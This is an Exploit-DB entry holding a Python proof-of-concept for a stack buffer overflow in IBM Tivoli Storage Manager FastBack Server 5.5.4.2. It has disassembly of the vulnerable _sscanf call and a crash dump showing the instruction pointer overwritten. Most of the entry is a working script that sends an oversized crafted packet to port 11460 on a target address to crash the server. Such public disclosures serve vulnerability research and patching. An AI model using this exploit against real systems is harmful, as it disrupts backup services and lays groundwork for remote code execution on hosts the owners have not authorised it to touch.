Exploit-DB #38980
Description: IBM Tivoli Storage Manager FastBack Server 5.5.4.2 - '_FXCLI_GetConfFileChunk' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-12-15
Author: Ptrace Security

Exploit:
#!/usr/bin/python
#         
################################################################################
#
#            Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
#                   _FXCLI_GetConfFileChunk Stack Buffer Overflow Vulnerability
#             Date: 14 December 2015
#           Author: Gianni Gnesa (gnix) 
#
#  Vendor Homepage: http://www.ibm.com/
#    Software Name: IBM Tivoli Storage Manager FastBack 
# Software Version: 5.5.4.2 (x86)
#    Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
#                   - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy" 
#                     (Version 5.5.4.2, Size: 120.7 MB)
#
#        Tested on: Windows 7 Professional (x86)
#
################################################################################
#
# Vulnerability:
# ==============
#
# The vulnerability is a stack buffer overflow in the _FXCLI_GetConfFileChunk 
# function caused by the insecure usage of _sscanf while parsing user-controlled 
# input.
#
# .text:0057898E      lea     eax, [ebp+var_210]
# .text:00578994      push    eax
# .text:00578995      lea     ecx, [ebp+var_108]
# .text:0057899B      push    ecx
# .text:0057899C      lea     edx, [ebp+var_20C]
# .text:005789A2      push    edx
# .text:005789A3      lea     eax, [ebp+var_4]
# .text:005789A6      push    eax
# .text:005789A7      lea     ecx, [ebp+var_104]      <=== Buffer that will be overwritten
# .text:005789AD      push    ecx
# .text:005789AE      push    offset $SG128635 ; "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"
# .text:005789B3      mov     edx, [ebp+Src]
# .text:005789B6      push    edx             ; Src   <=== Buffer under our control
# .text:005789B7      call    _sscanf                 <=== Stack Buffer Overflow!!!
#
################################################################################
#
# Crash:
# ======
#
# (b44.9dc): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=01cd4fb8 ecx=01dacf8c edx=776870b4 esi=01cd4fb8 edi=00000000
# eip=41414141 esp=01dae328 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 41414141 ??              ???
#
################################################################################

import sys
import time
import socket
from struct import pack


def create_pkt(opcode, p1="", p2="", p3=""):

	# psAgentCommand (0x30 bytes)
	buf = "\x44" * 0xC
	buf+= pack("<L", opcode)			# opcode

	buf+= pack("<i", 0x0)				# 1st memcpy: offset (in psCommandBuffer.data) for Src field 
	buf+= pack("<i", len(p1)) 			# 1st memcpy: size field
	buf+= pack("<i", len(p1))			# 2nd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p2)) 			# 2nd memcpy: size field
	buf+= pack("<i", len(p1) + len(p2))	# 3rd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p3)) 			# 3rd memcpy: size field

	buf+= "\x44\x44\x44\x44"
	buf+= "\x44\x44\x44\x44"

	# psCommandBuffer
	buf+= p1
	buf+= p2
	buf+= p3
	
	# buf len - 4 because the packet length is not included
	buf = pack(">i", len(buf)-4) + buf
	
	return buf
	
	
def main():
	if len(sys.argv) != 2:
		print "Usage: %s <ip_address>\n" % sys.argv[0]
		sys.exit(1)

	server = sys.argv[1]
	port = 11460

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((server, port))
	
	pkt = create_pkt(	opcode=0x531,
						p1 = "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % ("A"*10000,0,0,0,0),
						p2 = "B" * 24000,
						p3 = "C" * 24000 )

	s.send(pkt)	
	s.close()
    
	print "[+] Packet sent."
	sys.exit(0) 
	
	
if __name__ == "__main__":
	main()